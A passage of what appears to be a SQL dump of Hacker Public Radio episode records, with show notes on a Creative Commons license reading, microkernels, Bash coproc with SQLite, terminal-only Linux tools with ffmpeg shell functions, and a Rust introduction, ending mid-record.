(3412,'2021-08-31','Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported',2098,'We are using this license but we didn\'t publish it on HPR ... until now!','<p><em>This show and its notes are licensed under the Creative Commons Attribution 3.0 Unported license: <a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a></em></p>\r\n<p>The original work is by Creative Commons and has been slightly modified during reading. The text\r\nreproductions below have been modified for formatting, but not intentionally for content.\r\nMisspellings are from the original.</p>\r\n<ul>\r\n<li>The show <a href=\"https://hackerpublicradio.org/eps.php?id=3402\">https://hackerpublicradio.org/eps.php?id=3402</a> is licensed under the Creative Commons Attribution ShareAlike 4.0 International license.</li>\r\n<li>CC-by-SA 3.0 and other 3.0 licenses were released on 2007-02-23: <a href=\"https://creativecommons.org/2007/02/23/version-30-launched/\">https://creativecommons.org/2007/02/23/version-30-launched/</a></li>\r\n<li>The licenses were published on a site that was at the time CC-by 3.0: <a href=\"https://web.archive.org/web/20070225072754/https://creativecommons.org/\">https://web.archive.org/web/20070225072754/https://creativecommons.org/</a></li>\r\n</ul>\r\n<hr>\r\n<h1 id=\"creative-commons-license-deed\">Creative Commons License Deed</h1>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">https://creativecommons.org/licenses/by-sa/3.0/</a></p>\r\n<h2 id=\"attribution-sharealike-3-0-unported-cc-by-sa-3-0-\">Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0)</h2>\r\n<p>This is a human-readable summary of (and not a substitute for) the <a href=\"#creative-commons-legal-code\">license</a>.</p>\r\n<h3 id=\"disclaimer\">Disclaimer</h3>\r\n<p>This deed highlights only some of the key features and terms of the actual license. It is not a\r\nlicense and has no legal value. You should carefully review all of the terms and conditions of the actual\r\nlicense before using the licensed material.</p>\r\n<p>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying,\r\nor linking to this deed or the license that it summarizes does not create a lawyer-client or any other\r\nrelationship.</p>\r\n<h3 id=\"you-are-free-to-\">You are free to:</h3>\r\n<ul>\r\n<li><strong>Share</strong> - copy and redistribute the material in any medium or format</li>\r\n<li><strong>Adapt</strong> - remix, transform, and build upon the material for any purpose, even commercially.\r\nThe licensor cannot revoke these freedoms as long as you follow the license terms.</li>\r\n</ul>\r\n<h3 id=\"under-the-following-terms-\">Under the following terms:</h3>\r\n<ul>\r\n<li><strong>Attribution</strong> - You must give\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">appropriate credit</a>,\r\nprovide a link to the license, and\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">indicate if changes were made</a>.\r\nYou may do so in any reasonable manner, but not in any way that suggests the licensor endorses\r\nyou or your use.</li>\r\n<li><strong>ShareAlike</strong> - If you remix, transform, or build upon the material, you must\r\ndistribute your contributions under the\r\n<a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">same license</a>\r\nas the original.</li>\r\n<li><strong>No additional restrictions</strong> - You may not apply legal terms or\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">technological measures</a>\r\nthat legally restrict others from doing anything the license permits.</li>\r\n</ul>\r\n<h3 id=\"notices-\">Notices:</h3>\r\n<p>You do not have to comply with the license for elements of the material in the public domain or\r\nwhere your use is permitted by an applicable\r\n<a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">exception or limitation</a>.</p>\r\n<p>No warranties are given. The license may not give you all of the permissions necessary for your\r\nintended use. For example, other rights such as\r\n<a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">publicity, privacy, or moral rights</a>\r\nmay limit how you use the material.</p>\r\n<hr>\r\n<h1 id=\"creative-commons-legal-code\">Creative Commons Legal Code</h1>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/legalcode\">https://creativecommons.org/licenses/by-sa/3.0/legalcode</a></p>\r\n<p>For the rest of the text please see: <a href=\"https://hackerpublicradio.org/eps/hpr3412/\">https://hackerpublicradio.org/eps/hpr3412/</a></p>\r\n',311,0,0,'CC-BY','license, creative commons, recital, reading, legal',0,0,1),
(3407,'2021-08-24','Software Freedom Podcast',3407,'A sample episode of the Free Software Foundation Europe Podcast','<p>\r\nThe <a href=\"https://fsfe.org/news/podcast.en.html\">Free Software Foundation Europe have a podcast</a>, and this is a sample episode.\r\n</p>\r\n<ol>\r\n<li><a href=\"https://fsfe.org/news/podcast.en.html\">Web page: https://fsfe.org/news/podcast.en.html</a></li>\r\n<li><a href=\"https://fsfe.org/news/podcast-opus.en.rss\">Opus Feed: feed://fsfe.org/news/podcast-opus.en.rss</a></li>\r\n<li><a href=\"https://fsfe.org/news/podcast.en.rss\">MP3 Feed: feed://fsfe.org/news/podcast.en.rss</a></li>\r\n<li><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts: https://freeculturepodcasts.org/</a></li>\r\n</ol>',30,75,0,'CC-BY-SA','FSFE,Podcast,freeculturepodcasts',0,0,1),
(3419,'2021-09-09','Linux Inlaws S01E38: Tiny kernels',3748,'All you ever wanted to hear and more about micro kernels and other operating system war stories','<p> This episode is dedicated to tiny kernels driving operating systems also\r\n known as micro-kernels. While discussing the last 100 years of operating\r\n system design and implementation, our two aging heroes also shed some\r\n light on operating systems in general and their recent history (like fifty\r\n years). Unless you\'re a true OS nerd, you find the episode mildly\r\n refreshing and educational on the layers of software underneath your\r\n beloved applications controlling the hardware and other shenanigans. If\r\n you\'re an OS nerd, this episode may have the potential of closing your few\r\n remaining knowledge gaps (or something like this). A fun show for\r\n children of all ages and beyond. </p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>IBM VM: <a href=\"https://en.wikipedia.org/wiki/Z/VM\" target=_blank>https://en.wikipedia.org/wiki/Z/VM</a></li>\r\n<li>Modern operating systems by Andy S. Tanenbaum: <a href=\"https://csc-knu.github.io/sys-prog/books/Andrew%20S.%20Tanenbaum%20-%20Modern%20Operating%20Systems.pdf\" target=_blank>https://csc-knu.github.io/sys-prog/books/Andrew%20S.%20Tanenbaum%20-%20Modern%20Operating%20Systems.pdf</a></li>\r\n<li>Short write-up on fashion (for the uninitiated): <a href=\"https://en.wikipedia.org/wiki/Fashion\" target=_blank>https://en.wikipedia.org/wiki/Fashion</a></li>\r\n<li>Multics: <a href=\"https://www.multicians.org\" target=_blank>https://www.multicians.org</a></li>\r\n<li>Unix: <a href=\"https://en.wikipedia.org/wiki/History_of_Unix\" target=_blank>https://en.wikipedia.org/wiki/History_of_Unix</a></li>\r\n<li>CCP/M-86: <a href=\"https://en.wikipedia.org/wiki/Multiuser_DOS#Concurrent_CP/M-86\" target=_blank>https://en.wikipedia.org/wiki/Multiuser_DOS#Concurrent_CP/M-86</a></li>\r\n<li>QDOS: <a href=\"https://en.wikipedia.org/wiki/86-DOS\" target=_blank>https://en.wikipedia.org/wiki/86-DOS</a></li>\r\n<li>VMS: <a href=\"https://vmssoftware.com\" target=_blank>https://vmssoftware.com</a></li>\r\n<li>Digital\'s VAX: <a href=\"https://en.wikipedia.org/wiki/VAX\" target=_blank>https://en.wikipedia.org/wiki/VAX</a></li>\r\n<li>Mach kernel: <a href=\"https://en.wikipedia.org/wiki/Mach_(kernel)\" target=_blank>https://en.wikipedia.org/wiki/Mach_(kernel)</a></li>\r\n<li>Android: <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\" target=_blank>https://en.wikipedia.org/wiki/Android_(operating_system)</a></li>\r\n<li>Homebrew: <a href=\"https://brew.sh\" target=_blank>https://brew.sh</a></li>\r\n<li>MacPorts: <a href=\"https://www.macports.org\" target=_blank>https://www.macports.org</a></li>\r\n<li>Usenet war: <a href=\"https://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate\" target=_blank>https://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate</a></li>\r\n<li>Minix and TPM: <a href=\"https://www.zdnet.com/article/minix-intels-hidden-in-chip-operating-system\" target=_blank>https://www.zdnet.com/article/minix-intels-hidden-in-chip-operating-system</a></li>\r\n<li>Trusted Platform Module: <a href=\"https://link.springer.com/content/pdf/10.1007%2F978-1-4302-6584-9.pdf\" target=_blank>https://link.springer.com/content/pdf/10.1007%2F978-1-4302-6584-9.pdf</a></li>\r\n<li>Secure enclaves: <a href=\"https://software.intel.com/content/www/us/en/develop/topics/software-guard-extensions.html\" target=_blank>https://software.intel.com/content/www/us/en/develop/topics/software-guard-extensions.html</a></li>\r\n<li>The Sleepover: <a href=\"https://www.imdb.com/title/tt10888708/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt10888708/?ref_=fn_al_tt_1</a></li>\r\n<li>Python Init Podcast episode: <a href=\"https://www.pythonpodcast.com/tony-liu-python-venture-investing-episode-305\" target=_blank>https://www.pythonpodcast.com/tony-liu-python-venture-investing-episode-305</a></li>\r\n<li>Martin\'s trainspotters\' research paper: <a href=\"https://www.diva-portal.org/smash/get/diva2:1340183/FULLTEXT05\" target=_blank>https://www.diva-portal.org/smash/get/diva2:1340183/FULLTEXT05</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Operating systems, kernels, Usenet wars, Linus Torvalds, Andrew Tanenbaum, Minix, trainspotting',0,0,1),
(3421,'2021-09-13','BlacKernel\'s Journey Into Technology: Episode 1',967,'Learning about Assembly and Social Engineering before I could read','<ul>\r\n<li><p>Important Links</p>\r\n<ul>\r\n<li><a href=\"https://gnuworldorder.info/audiophile/gnuWorldOrder_379.ogg\">GNU World Order Episode 379</a></li>\r\n<li><a href=\"https://eater.net/\">Ben Eater\'s Website</a></li>\r\n</ul></li>\r\n<li><p>Wikipedia Pages</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transistor\">Transistor Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Logic_gate\">Logic Gates Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Assembly_language\">Assembly Language Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/KidDesk\">KidDesk Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/K9_Web_Protection\">K9 Web Protection Wikipedia article</a></li>\r\n</ul></li>\r\n</ul>',396,0,0,'CC-BY-SA','technology, childhood, stories',0,0,1),
(3413,'2021-09-01','Bash snippet - using coproc with SQLite',2738,'Sending multiple queries to a running instance of sqlite3','<h2 id=\"introduction\">Introduction</h2>\r\n<p>I am in the process of rewriting some scripts I use to manage <a href=\"https://magnatune.com/\" title=\"Magnatune\">Magnatune</a> albums. Im a lifetime Magnatune member and have access to the whole music collection. I wrote a script for downloading albums and placing them in my <code>~/Music</code> directory which I talked about in 2013 (show <a href=\"https://hackerpublicradio.org/eps.php?id=1204\">1204</a>). The original scripts are still available on <a href=\"https://gitlab.com/davmo/magnatune-downloader\">GitLab</a> and I know of one other person who made use of them!</p>\r\n<p>Since 2013 I have written a few other support scripts, for example one to manage a queue of albums I want to buy and download, and one which summarises the state of this queue.</p>\r\n<p>Its this <code>\'show_queue\'</code> script I am currently updating (called <a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_orig\"><code>show_queue_orig</code></a>, and available in the resources to this show). The original version of this script took Magnatune album URLs from a file (acting as a queue of stuff I wanted to buy), parsed out a piece of the URL and used it to <code>grep</code> a pre-prepared summary in another file. This file of summaries had been made from a master XML file provided by Magnatune (see <code>update_albums</code> on GitLab).</p>\r\n<p>Magnatune has moved away from this master XML file to a SQLite database in recent years, so I want to perform a database lookup for each URL to list its details.</p>\r\n<p>The first version of the new script wasnt difficult to write: just extract the search data as before and run a query on the database using this data. I have included this script which I call <a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_1\"><code>show_queue_db_1</code></a> amongst the resources for this episode, so you can see what Im talking about and what I want to improve on. It felt bad to be performing multiple calls on the <code>sqlite3</code> command in a loop, so I looked around for an alternative way.</p>\r\n<p>In April 2019 <a href=\"https://hackerpublicradio.org/correspondents/0311.html\">clacke</a> did a show (number <a href=\"https://hackerpublicradio.org/eps.php?id=2793\">2793</a>) about the Bash <code>coproc</code> command.</p>\r\n<p>This command creates a <em>subshell</em> running a command or group of commands which is connected to the calling (<em>parent</em>) process through two file descriptors (<em>FD</em>s). Its possible for the calling shell to write to the input descriptor and read from the output one and thereby communicate with whatever is running in the subshell.</p>\r\n<p>I was vaguely aware of <code>coproc</code> at the time of clackes show but hadnt looked into it. I found the show fascinating but didnt have a use for the feature at the time.</p>\r\n<p>To solve my need to show my Magnatune queue of future purchases, it looked as if a <code>sqlite3</code> instance running in a subshell could be given queries one after the other and return the answers I needed. My journey to a Bash script using <code>coproc</code> then followed.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3413/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Bash Reference Manual:\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Coprocesses\">3.2.6 Coprocesses</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors\">3.6.8 Duplicating File Descriptors</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Stack Exchange:\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/86270/how-do-you-use-the-command-coproc-in-various-shells\">How do you use the command coproc in various shells?</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Wikipedia:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Expect\">Wikipedia page on <code>expect</code></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Other links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1204\">hpr1204 :: My Magnatune Downloader</a></li>\r\n<li><a href=\"https://gitlab.com/davmo/magnatune-downloader\">GitLab repository: original magnatune-downloader</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2793\">hpr2793 :: bash coproc: the future (2009) is here</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Example files:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/coproc_test.sh\">coproc_test.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/coproc_test.awk\">coproc_test.awk</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_orig\">show_queue_orig</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_1\">show_queue_db_1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_2\">show_queue_db_2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue.pl.zip\">show_queue.pl.zip</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,coproc,subshell,coprocess,pipe,file descriptor',0,0,1),
(3431,'2021-09-27','Living in the Terminal',2763,'BlacKernel shows you some programs you\'ll need for living life without X org','<h1 id=\"talking-points\">Talking Points</h1>\r\n<h2 id=\"rational\">Rational</h2>\r\n<ul>\r\n<li>Sometimes, X.org just doesn\'t want to work</li>\r\n<li>Esspecially if you are a dumb n00b running Arch</li>\r\n<li>The terminal will always be there for you.</li>\r\n</ul>\r\n<h2 id=\"applications\">Applications:</h2>\r\n<h3 id=\"my-bashrc\">My .bashrc:</h3>\r\n<ul>\r\n<li>Environment Variables:</li>\r\n</ul>\r\n<pre class=\"bash\"><code>export EDITOR=nvim\r\nexport PAGER=most\r\nexport BROWSER=lynx\r\n\r\nexport XDG_DATA_HOME=&quot;$HOME/.local/share&quot;\r\nexport XDG_CONFIG_HOME=&quot;$HOME/.config&quot;\r\n</code></pre>\r\n<p>PS1: <font color=blue>user</font>@<font color=green>hostname</font>:~ (git_branch) $</p>\r\n<pre class=\"bash\"><code>if [[ $EUID == 0 ]]; then\r\n export PS1=&quot;\\[e[1;31m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) # &quot;\r\nelse\r\n export PS1=&quot;\\[e[1;34m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) $ &quot;\r\nfi\r\n</code></pre>\r\n<ul>\r\n<li>Aliases:\r\n<ul>\r\n<li><code>alias vim=nvim</code></li>\r\n<li><code>alias play=mpv</code></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"productivity-window-manager-tmux\">Productivity (\"Window Manager\"): <a href=\"#show-notes\">tmux</a></h2>\r\n<ul>\r\n<li>Provides an easy way of splitting a tty into various panes</li>\r\n<li>Get multiple workspaces for free with CTL+ALT+F{1,2,3,4,5,6,7}</li>\r\n<li>All of the tiling window manager, none of the X-it</li>\r\n<li>Can set up <code>if [ -t 0 ] &amp;&amp; [[ -z $TMUX ]] &amp;&amp; [[ $- = *i* ]]; then exec tmux; fi</code> in .bashrc in order to have tmux start/stop with your terminal sessiion.</li>\r\n</ul>\r\n<h2 id=\"music-cmus\">Music: <a href=\"#show-notes\">cmus</a></h2>\r\n<ul>\r\n<li>Easy library and playlist management</li>\r\n<li>Dead simple to use (with cmus-tutorial)\r\n<ul>\r\n<li><code>y</code> to yank songs onto a playlist</li>\r\n<li><code>SPA</code> to select a playlist</li>\r\n<li><code>RET</code> to play a song/playlist</li>\r\n<li><code>TAB</code> to switch between panes</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"pictures-fim\">Pictures: <a href=\"#show-notes\">fim</a></h2>\r\n<ul>\r\n<li>Requires user be in the <code>video</code> group for permission to use the Linux framebuffer</li>\r\n</ul>\r\n<h2 id=\"radiovideosingle-audio-files-mpv\">Radio/Video/single audio files: <a href=\"#show-notes\">mpv</a></h2>\r\n<ul>\r\n<li>Can display video in terminal (badly with libcaca)</li>\r\n<li>Can <em>actually</em> display video in linux framebuffer (with drm)</li>\r\n<li>Can handle all of your somafm files/web-video links</li>\r\n<li>Requires <a href=\"#show-notes\">youtube-dl</a> for video</li>\r\n</ul>\r\n<h2 id=\"podcastsrss-newsboatpodboat\">Podcasts/RSS: <a href=\"#show-notes\">newsboat/podboat</a></h2>\r\n<ul>\r\n<li>Orginizes all of your podcasts and RSS feeds into an easy-to-use ncurses interface</li>\r\n<li>Can be set up with <code>player \"mpv --save-position-on-quit\"</code> to save positions on podcasts</li>\r\n<li><em>Very</em> convinent for articles, less so for podcasts</li>\r\n<li>Really needs better integration with something like cmus</li>\r\n</ul>\r\n<h4 id=\"runner-up-podfox\">Runner Up: <a href=\"#show-notes\">podfox</a></h4>\r\n<ul>\r\n<li>Can be configured with JSON</li>\r\n<li>Has better directory structure than podboat, imo</li>\r\n<li>Tree based structure vs shove everything in ~ by default</li>\r\n</ul>\r\n<h2 id=\"text-editingword-processing-neovimgitx-flavored-markdownpandoc\">Text Editing/Word Processing: <a href=\"#show-notes\">neovim/GitX Flavored Markdown/pandoc</a></h2>\r\n<ul>\r\n<li>Clean modal editing</li>\r\n<li>Can export to whatever with pandoc</li>\r\n<li>Probably not as good as OrgMode if emacs wasn\'t the HFS+ of text editors</li>\r\n</ul>\r\n<h2 id=\"audio-recordingpost-processing-ffmpeg\">Audio Recording/Post-Processing: <a href=\"#show-notes\">ffmpeg</a></h2>\r\n<ul>\r\n<li>One alias and three scripts in my .bashrc\r\n<ul>\r\n<li>record: <code>alias record=\"ffmpeg -f alsa -channels 1 -i hw:1\"</code></li>\r\n<li>atrim, top-tail, and anorm: Allows me to quickly spin up a recording and run post processing</li>\r\n</ul></li>\r\n</ul>\r\n<pre class=\"bash\"><code>function atrim() {\r\n if [ $1 ]; then\r\n local in=&quot;$1&quot;\r\n else\r\n local in=&quot;-&quot;\r\n fi\r\n\r\n if [ $2 ]; then\r\n local out=&quot;$2&quot;\r\n else\r\n local out=&quot;-f nut -&quot;\r\n fi\r\n\r\n if [[ $# &gt; 2 ]]; then\r\n echo &quot;atrim: requires 2 or fewer arguments&quot;\r\n return 1\r\n fi\r\n\r\n if [ $2 ]; then echo &quot;atrim: silencing $in and saving to $out...&quot;; fi\r\n ffmpeg -i $in -af silenceremove=start_periods=1:stop_periods=-1:start_threshold=-50dB:stop_threshold=-50dB:stop_duration=0.75 $out \\\r\n 2&gt;/dev/null \\\r\n #1&gt;/dev/null\r\n if [ $2 ]; then echo &quot;atrim: done&quot;; fi\r\n}\r\n</code></pre>\r\n<pre class=\"bash\"><code>function top-tail() {\r\n local top=&quot;$HOME/project/hpr-notes/template/intro-music-slick0-cc0.flac&quot;\r\n local tail=&quot;$HOME/project/hpr-notes/template/outro-mixed-slick0-manon_fallon-cc0.flac&quot;\r\n\r\n if [ $1 ]; then\r\n local in=&quot;$1&quot;\r\n else\r\n local in=&quot;-&quot;\r\n fi\r\n\r\n if [ $2 ]; then\r\n local out=&quot;$2&quot;\r\n else\r\n local out=&quot;-f nut -&quot;\r\n fi\r\n\r\n if [[ $# &gt; 2 ]]; then\r\n echo &quot;hpr-top-tail: requres 2 or fewer arguments&quot;\r\n return 1\r\n fi\r\n\r\n if [ $2 ]; then echo &quot;hpr-top-tail: Topping $in with $top and tailing with $tail...&quot;; fi\r\n ffmpeg -i &quot;$top&quot; -i $in -i &quot;$tail&quot; -vn -filter_complex &quot;\r\n [0][1]acrossfade=d=1:c1=tri:c2=tri[a01];\r\n [a01][2]acrossfade=d=1:c1=tri:c2=tri&quot; \\\r\n $out \\\r\n 2&gt; /dev/null \\\r\n #1&gt; /dev/null\r\n if [ $2 ]; then echo &quot;hpr-top-tail: done&quot;; fi\r\n}\r\n</code></pre>\r\n<pre class=\"bash\"><code>function anorm() {\r\n if [ $1 ]; then\r\n local in=&quot;$1&quot;\r\n else\r\n local in=&quot;-&quot;\r\n fi\r\n\r\n if [ $2 ]; then\r\n local out=&quot;$2&quot;\r\n else\r\n local out=&quot;-f nut -&quot;\r\n fi\r\n\r\n if [[ $# &gt; 2 ]]; then\r\n echo &quot;anorm: requires 2 or fewer arguments&quot;\r\n return 1\r\n fi\r\n\r\n if [ $2 ]; then echo &quot;anorm: normalizing audio $in and saving to $out...&quot;; fi\r\n ffmpeg -i $in $(ffmpeg-lh $in) $out \\\r\n #2&gt; /dev/null \\\r\n 1&gt; /dev/null\r\n if [ $2 ]; then echo &quot;anorm: done&quot;; fi\r\n\r\n}\r\n</code></pre>\r\n<h2 id=\"web-browsing-lynx\">Web Browsing: <a href=\"#show-notes\">lynx</a></h2>\r\n<ul>\r\n<li>Fast and easy text based web browsing</li>\r\n<li>Can leverage Web 4.0 technologies like Gopher!!</li>\r\n<li>Some sites break pretty bad...</li>\r\n</ul>\r\n<h2 id=\"email-mutt\">Email: <a href=\"#show-notes\">mutt*</a></h2>\r\n<ul>\r\n<li><p>I didn\'t really use email very much when I was living on the terminal and now, since I use protonmail, I don\'t really have an easy way not to use the webmail.</p></li>\r\n<li><p>Trying to find a fix to this. Let me know your thoughts!</p></li>\r\n<li><p>This is the mail client I\'ve heard the most good things about that isn\'t built into a text editor I can\'t use</p></li>\r\n</ul>\r\n<hr />\r\n<h1 id=\"show-notes\">Show Notes</h1>\r\n<h3 id=\"important-links\">Important Links:</h3>\r\n<ul>\r\n<li><a href=\"https://github.com/tmux/tmux\">tmux</a></li>\r\n<li><a href=\"https://cmus.github.io\">cmus</a></li>\r\n<li><a href=\"https://fatchancelester.bandcamp.com/album/napalm-lounge\">Napalm Lounge by Fat Chance Lester</a></li>\r\n<li><a href=\"https://www.nongnu.org/fbi-improved\">fim</a></li>\r\n<li><a href=\"https://mpv.io\">mpv</a></li>\r\n<li><a href=\"https://www.youtube-dl.org\">youtube-dl</a></li>\r\n<li><a href=\"https://www.newsboat.org\">newsboat/podboat</a></li>\r\n<li><a href=\"https://neovim.io\">neovim</a></li>\r\n<li><a href=\"https://commonmark.org\">CommonMark</a></li>\r\n<li><a href=\"https://pandoc.org\">pandoc</a></li>\r\n<li><a href=\"https://ffmpeg.org\">ffmpeg</a></li>\r\n<li><a href=\"https://lynx.browser.org\">lynx</a></li>\r\n<li><a href=\"https://mutt.org\">mutt</a></li>\r\n</ul>\r\n<h3 id=\"resources\">Resources:</h3>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/atrim.sh\">atrim.sh</a></li>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/top-tail.sh\">top-tail.sh</a></li>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/anorm.sh\">anorm.sh</a></li>\r\n</ul>\r\n<hr />\r\n<h5 id=\"contact-me\">Contact Me</h5>\r\n<ul>\r\n<li><strong>Email</strong>: <a href=\"mailto:izzyleibowitz@pm.me\">izzy leibowitz at pm dot me</a></li>\r\n<li><strong>Mastodon</strong>: <a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,11,1,'CC-BY-SA','cli, terminal, nox, linux, technology, tty',0,0,1),
(3426,'2021-09-20','Rust 101: Episode 0 - What in Tarnishing?',1348,'BlacKernel teaches you what rust is and how it is different from Python or C.','<h1 id=\"Talking-Points\">Talking Points</h1>\r\n<ul>\r\n<li>What is Rust?\r\n<ul>\r\n<li>\" Garbage Collection \" - Resource Acquisition Is Initialization (RAII)</li>\r\n<li>Strict Typing with Type Inference</li>\r\n<li>Reference pointers</li>\r\n<li>Immutable by default</li>\r\n<li>Unsafe Mode</li>\r\n</ul></li>\r\n<li>Why use Rust over Python?\r\n<ul>\r\n<li>Speed</li>\r\n<li>Compiled\r\n<ol>\r\n<li>Help from compiler</li>\r\n<li>Smaller binary size</li>\r\n<li>Useful in high throughput/embedded applications</li>\r\n</ol></li>\r\n<li>Logically consistent</li>\r\n</ul></li>\r\n<li>Why use Rust over C?\r\n<ul>\r\n<li>Safe by default</li>\r\n<li>Easier to read</li>\r\n<li>Forces you to write good code</li>\r\n<li>Arrays without stupidity++ and built in vectors</li>\r\n<li>Option&lt;T&gt; and Result&lt;T&gt; or a match {} made in heaven</li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<h1 id=\"Show-Notes\">Show Notes</h1>\r\n<h2 id=\"Strict-Typing\">Strict Typing</h2>\r\n<pre><code>fn main() {\r\n\r\n // Type declared with var: &lt;T&gt; syntax\r\n let penguin_one: &amp;str = &quot;gentoo&quot;;\r\n \r\n // Type &amp;str is inherited from &quot;gentoo&quot;\r\n let penguin_two = &quot;gentoo&quot;;\r\n \r\n // Will not panic if they are the same\r\n assert_eq!(penguin_one, penguin_two);\r\n}</code></pre>\r\n<h2 id=\"Reference-Pointers\">Reference Pointers</h2>\r\n<p><span id=\"Wrong-Way:\"></span><strong>Wrong Way:</strong></p>\r\n<pre><code>fn print_u8_vector(vec: Vec&lt;u8&gt;) {\r\n println!(&quot;{:?}&quot;, vec);\r\n}\r\n\r\nfn main() {\r\n let penguin_ages: Vec&lt;u8&gt; = vec!(2, 4, 6);\r\n print_u8_vector(penguin_ages);\r\n \r\n // This line will throw an error\r\n println!(&quot;{}&quot;, penguin_ages[0]);\r\n}</code></pre>\r\n<p><span id=\"Correct-Way:\"></span><strong>Correct Way:</strong></p>\r\n<pre><code>fn print_u8_vector(vec: &amp;Vec&lt;u8&gt;) {\r\n println!(&quot;{:?}&quot;, vec);\r\n}\r\n\r\nfn main() {\r\n let penguin_ages: Vec&lt;u8&gt; = vec!(2, 4, 6);\r\n print_u8_vector(&amp;penguin_ages);\r\n \r\n // This line will print &#39;2&#39;\r\n println!(&quot;{}&quot;, penguin_ages[0]);\r\n}</code></pre>\r\n<h2 id=\"Immutable-By-Default\">Immutable By Default</h2>\r\n<p><span id=\"Wrong-Way:\"></span><strong>Wrong Way:</strong></p>\r\n<pre><code>fn main() {\r\n let my_num = 2;\r\n \r\n // This line will throw an error\r\n my_num = my_num + 1;\r\n println!(&quot;{}&quot;, my_num);\r\n}</code></pre>\r\n<p><span id=\"Correct-Way:\"></span><strong>Correct Way:</strong></p>\r\n<pre><code>fn main() {\r\n let mut my_num = 2;\r\n my_num = my_num + 1;\r\n \r\n // This line will print &#39;3&#39;\r\n println!(&quot;{}&quot;, my_num);\r\n}</code></pre>\r\n<h2 id=\"Unsafe-Code\">Unsafe Code</h2>\r\n<p><span id=\"Hello-World-Program-in-C-in-Rust:\"></span><strong>Hello World Program in C in Rust:</strong></p>\r\n<pre><code>extern &quot;C&quot; {\r\n fn printf(input: &amp;str);\r\n}\r\n\r\nfn main() {\r\n unsafe {\r\n printf(&quot;Hello, World!&quot;);\r\n }\r\n}</code></pre>\r\n<ul>\r\n<li><span id=\"Important-Links\"></span><strong>Important Links</strong>:\r\n<ul>\r\n<li><a href=\"https://www.rust-lang.org\">Rust Programming Language Homepage</a></li>\r\n<li><a href=\"https://play.rust-lang.org/\">Rust Playground</a></li>\r\n<li><a href=\"https://invidious.snopyta.org/watch?v=yOyaJXpAYZQ\">Ben Eater: Comparing C to machine language</a> &lt;WARNING: YouTube Hosted&gt;</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><span id=\"Wikipedia-Pages\"></span><strong>Wikipedia 